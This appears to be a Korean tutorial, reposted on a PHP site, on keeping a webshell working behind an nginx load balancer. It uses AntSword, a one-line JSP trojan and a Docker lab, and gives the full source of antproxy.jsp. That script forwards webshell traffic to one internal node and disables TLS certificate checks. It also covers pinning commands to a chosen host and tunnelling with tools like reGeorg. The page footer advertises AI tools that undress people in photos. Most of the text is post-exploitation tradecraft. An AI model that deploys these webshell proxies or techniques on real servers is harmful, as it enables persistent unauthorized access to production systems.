목차
시나리오 설명
환경 설치
재생산 과정의 문제
Solution
운영 및 유지보수 엔진스 nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

May 16, 2023 am 08:16 AM
nginx webshell

시나리오 설명

실제 프로덕션 환경에 WebShell을 얻을 수 있는 RCE 취약점이 있다고 가정

환경 설치

먼저 GetHub에서 취약한 이미지를 가져오기 전에 nginx 및 tomcat을 centos에 설치해야 합니다. nginx, tomcat 관련 설정 파일을 미리 설정하고, docker를 이용해 이미지를 풀다운하여 취약점을 재현해 보세요.

1. 먼저 docker 환경을 설정합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

2. Tomcat에 접근 가능한지 테스트합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

위 그림에서 볼 수 있듯이 백엔드 tomcat에 접근이 가능한지 확인합니다

3. docker의 nginx 응답 에이전트에 대한 부하 분산

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

4. docker

의 lbsnode1에 있는 ant.jsp 파일을 확인하세요. 이 파일은 한 문장의 Trojan으로 이해될 수 있으며, lbsnode2에도 동일한 파일이 존재합니다

lbsnode1:

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

lbsnode2:

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

5. China Ant Sword

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

를 통해 ant.jsp 파일을 연결합니다. 두 노드 모두 동일한 위치에 ant.jsp가 있으므로 연결 시 예외가 없습니다

재생산 과정의 문제

문제 1: nginx에서 사용하는 역방향 프록시는 폴링 방식이므로 업로드된 파일은 두 백엔드 서버의 동일한 위치에 업로드되어야 합니다

우리는 역방향 프록시 부하이기 때문에 균형 조정에는 파일 업로드가 포함됩니다. 한 백엔드 서버에는 우리가 업로드한 파일이 있지만 다른 서버에는 우리가 업로드한 파일이 없습니다. 결과적으로 한 서버에 파일이 없으면 서버 차례가 됩니다. , 404 오류가 보고되며 이는 사용에 영향을 미칩니다. 이것이 잠시 동안 정상으로 나타나고 잠시 동안 오류가 나타나는 이유입니다.

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

해결책:

어떤 서버가 폴링되든 백엔드 서버에 액세스할 수 있도록 각 노드의 동일한 위치에 동일한 콘텐츠가 포함된 WebShell을 업로드해야 합니다. 모든 백엔드 서버에 파일을 업로드하려면 미친듯이 업로드해야 합니다.

질문 2: 명령을 실행할 때 다음 요청이 어떤 시스템으로 전달되어 실행될지 알 수 없습니다.

현재 실행 시스템의 IP를 보기 위해 호스트 이름 -i를 실행하면

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

문제 3: 더 큰 도구를 업로드해야 할 때 도구를 사용할 수 없게 됩니다.

더 큰 파일을 업로드하면 AntSword는 파일을 업로드할 때 분할을 사용합니다. 슬라이스 업로드 방법은 파일을 여러 개의 HTTP 요청으로 나누어 대상으로 보냅니다. 파일의 일부는 서버 A에 있고 파일의 다른 부분은 서버 B에 있게 되므로 더 큰 도구나 파일을 열 수 없거나 파일을 열 수 없게 됩니다.

사용 질문 4: 대상 호스트가 외부 네트워크에 액세스할 수 없으므로 더 나아가려면 reGeorg/HTTPAbs와 같은 HTTP 터널만 사용할 수 있습니다. 그러나 이 시나리오에서는 이러한 터널 스크립트가 모두 실패합니다.

Solution

옵션 1: 백엔드 서버 중 하나 종료

백엔드 서버 중 하나를 종료하면 실제로 위의 네 가지 문제를 해결할 수 있지만 이 솔루션은 실제로 "생일을 거는 것입니다." "살기 지겹다", 사업에 영향을 미치고 재난을 초래할 수 있으니 고려하지 말고 그냥 넘어가세요

종합 평가: 이런 상황에서는 시도하지 마세요! ! !

옵션 2: 프로그램을 실행하기 전에 프로그램을 실행할지 여부 결정

다음번에 어떤 머신이 프로그램을 실행할지 예측하는 것은 불가능하므로 셸이 페이로드를 실행하기 전에 먼저 프로그램이 필요한지 여부를 결정할 수 있습니다. 실행.

처음으로 데모.sh 스크립트를 생성하세요. 이 스크립트는 백엔드 서버 중 하나의 주소를 얻기 위한 것입니다. 프로그램은 이 서버의 주소와 일치하는 경우에만 실행됩니다. 다른 서버에서는 프로그램이 실행되지 않습니다.

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

Demo.sh 스크립트 파일을 China Ant Sword를 통해 두 개의 백엔드 서버에 업로드합니다. 로드 밸런싱이기 때문에 업로드하려면 미친듯이 클릭해야 합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

이런 식으로 실행된 명령이 우리가 원하는 머신에 있는지 실제로 확인할 수 있습니다. 그러나 이런 방식으로 명령을 실행하는 것에는 장점이 없습니다. HTTP 터널이 해결되지 않았습니다.

종합적 평가: 이 솔루션은 거의 사용할 수 없으며 명령을 실행할 때만 사용하기에 적합하지 않습니다.

옵션 3: 웹 계층에서 HTTP 트래픽 전달(핵심)

예, AntSword를 사용하여 LBSNode1 인트라넷 IP(172.23.0.2)의 포트 8080에 직접 액세스할 수 없지만 누군가가 액세스할 수 있습니다. nginx에 액세스할 수 있는 것 외에도 LBSNode2 시스템은 Node1 시스템의 8080 포트에도 액세스할 수 있습니다.

아직도 "PHP 우회 비활성화 기능" 플러그인을 기억하시나요? 이 플러그인을 로드한 후 로컬에서 http서버를 시작한 다음 HTTP 수준 트래픽 전달 스크립트 "antproxy.php"를 사용했습니다. 이 시나리오를 살펴보세요:

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

이 그림을 단계별로 살펴보겠습니다. 우리의 목표는 다음과 같습니다. 모든 데이터 패킷은 "LBSNode 1" 머신으로 전송될 수 있습니다.

첫 번째 단계는 1단계입니다. , /antproxy.jsp를 요청합니다. 이 요청은 nginx로 전송됩니다

nginx가 데이터 패킷을 받은 후 두 가지 상황이 발생합니다.

먼저 검은색 선을 살펴보겠습니다. 두 번째 단계에서는 요청을 대상 시스템으로 전달합니다. Node1 시스템을 요청합니다. /antproxy.jsp, 3단계, /antproxy.jsp는 요청을 재구성하여 성공적으로 실행되는 Node1 시스템의 /ant.jsp에 전달합니다.

빨간색 선을 다시 살펴보세요. 2단계에서는 요청이 Node2 시스템으로 전달됩니다. 그런 다음 3단계에서는 Node2 시스템의 /antproxy.jsp가 요청을 재구성하여 Node1의 /ant.jsp로 전달합니다. 성공적으로 실행되었습니다.

1.antproxy.jsp 스크립트를 생성합니다

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>
로그인 후 복사

2. 전달 주소를 수정하고 대상 Node의 인트라넷 IP의 대상 스크립트 액세스 주소로 리디렉션합니다.

참고: WebShell뿐만 아니라 reGeorg와 같은 스크립트의 액세스 주소도 변경될 수 있습니다

대상을 LBSNode1

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

주의:

a) Do 업로드 기능을 사용하지 않으면 업로드 기능이 여러 개로 업로드되어 여러 노드에 흩어지게 됩니다.

b) 모든 노드가 antproxy.jsp에 대해 동일한 경로를 갖도록 하기 위해 모든 노드가 스크립트를 업로드했는지 확인하기 위해 여러 번 저장했습니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

3. antproxy.jsp 주소로 URL 부분을 입력하고 나머지 구성은 그대로 둡니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

4. 실행 명령을 테스트하고 IP를 확인합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

IP가 수정되었습니다. 이는 요청이 LBSNode1 머신에 수정되었음을 의미합니다. 이때 다중 부분 업로드 및 HTTP 프록시를 사용하는 것은 독립 실행형 상황과 다르지 않습니다.

1. 권한이 높으면 완료될 수도 있습니다. 포트 수준을 통해 직접 전달되지만 이는 Plan A

2의 관련 서비스와 다르지 않습니다. 트래픽 측면에서는 WebShell 액세스 요청에만 영향을 미치며 기타 일반적인 비즈니스 요청에는 영향을 미치지 않습니다.

3. 더 많은 도구에 적응

단점:

이 솔루션은 "대상 노드"와 "다른 노드" 간의 인트라넷 상호 운용성이 필요합니다.

위 내용은 nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
4 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
4 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
4 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Nginx403을 해결하는 방법 Nginx403을 해결하는 방법 Apr 14, 2025 am 10:33 AM

Nginx 403 금지 된 오류를 수정하는 방법은 무엇입니까? 파일 또는 디렉토리 권한을 확인합니다. 2. 확인 파일을 확인하십시오. 3. nginx 구성 파일 확인; 4. nginx를 다시 시작하십시오. 다른 가능한 원인으로는 방화벽 규칙, Selinux 설정 또는 응용 프로그램 문제가 있습니다.

Linux에서 Nginx를 시작하는 방법 Linux에서 Nginx를 시작하는 방법 Apr 14, 2025 pm 12:51 PM

Linux에서 Nginx를 시작하는 단계 : Nginx가 설치되어 있는지 확인하십시오. systemctl start nginx를 사용하여 nginx 서비스를 시작하십시오. SystemCTL을 사용하여 NGINX를 사용하여 시스템 시작시 NGINX의 자동 시작을 활성화하십시오. SystemCTL 상태 nginx를 사용하여 시작이 성공했는지 확인하십시오. 기본 환영 페이지를 보려면 웹 브라우저의 http : // localhost를 방문하십시오.

nginx403 오류를 해결하는 방법 nginx403 오류를 해결하는 방법 Apr 14, 2025 pm 12:54 PM

서버는 요청 된 리소스에 액세스 할 수있는 권한이 없으므로 Nginx 403 오류가 발생합니다. 솔루션에는 다음이 포함됩니다. 파일 권한 확인 권한을 확인하십시오. .htaccess 구성을 확인하십시오. nginx 구성을 확인하십시오. Selinux 권한을 구성하십시오. 방화벽 규칙을 확인하십시오. 브라우저 문제, 서버 장애 또는 기타 가능한 오류와 같은 다른 원인을 해결하십시오.

nginx가 시작되었는지 확인하는 방법 nginx가 시작되었는지 확인하는 방법 Apr 14, 2025 pm 01:03 PM

nginx가 시작되었는지 확인하는 방법 : 1. 명령 줄을 사용하십시오 : SystemCTL 상태 nginx (linux/unix), netstat -ano | Findstr 80 (Windows); 2. 포트 80이 열려 있는지 확인하십시오. 3. 시스템 로그에서 nginx 시작 메시지를 확인하십시오. 4. Nagios, Zabbix 및 Icinga와 같은 타사 도구를 사용하십시오.

Windows에서 nginx를 구성하는 방법 Windows에서 nginx를 구성하는 방법 Apr 14, 2025 pm 12:57 PM

Windows에서 Nginx를 구성하는 방법은 무엇입니까? nginx를 설치하고 가상 호스트 구성을 만듭니다. 기본 구성 파일을 수정하고 가상 호스트 구성을 포함하십시오. 시작 또는 새로 고침 Nginx. 구성을 테스트하고 웹 사이트를보십시오. SSL을 선택적으로 활성화하고 SSL 인증서를 구성하십시오. 포트 80 및 443 트래픽을 허용하도록 방화벽을 선택적으로 설정하십시오.

Nginx 크로스 도메인의 문제를 해결하는 방법 Nginx 크로스 도메인의 문제를 해결하는 방법 Apr 14, 2025 am 10:15 AM

Nginx 크로스 도메인 문제를 해결하는 두 가지 방법이 있습니다. 크로스 도메인 응답 헤더 수정 : 교차 도메인 요청을 허용하고 허용 된 메소드 및 헤더를 지정하고 캐시 시간을 설정하는 지시문을 추가하십시오. CORS 모듈 사용 : 모듈을 활성화하고 CORS 규칙을 구성하여 크로스 도메인 요청, 메소드, 헤더 및 캐시 시간을 허용합니다.

nginx304 오류를 해결하는 방법 nginx304 오류를 해결하는 방법 Apr 14, 2025 pm 12:45 PM

질문에 대한 답변 : 304 수정되지 않은 오류는 브라우저가 클라이언트 요청의 최신 리소스 버전을 캐시했음을 나타냅니다. 솔루션 : 1. 브라우저 캐시를 지우십시오. 2. 브라우저 캐시를 비활성화합니다. 3. 클라이언트 캐시를 허용하도록 nginx를 구성합니다. 4. 파일 권한을 확인하십시오. 5. 파일 해시를 확인하십시오. 6. CDN 또는 리버스 프록시 캐시를 비활성화합니다. 7. nginx를 다시 시작하십시오.

nginx가 시작되었는지 확인하는 방법은 무엇입니까? nginx가 시작되었는지 확인하는 방법은 무엇입니까? Apr 14, 2025 pm 12:48 PM

Linux에서는 다음 명령을 사용하여 nginx가 시작되었는지 확인하십시오. SystemCTL 상태 Nginx 판사 명령 출력에 따라 : "active : running"이 표시되면 Nginx가 시작됩니다. "Active : 비활성 (죽음)"이 표시되면 Nginx가 중지됩니다.

See all articles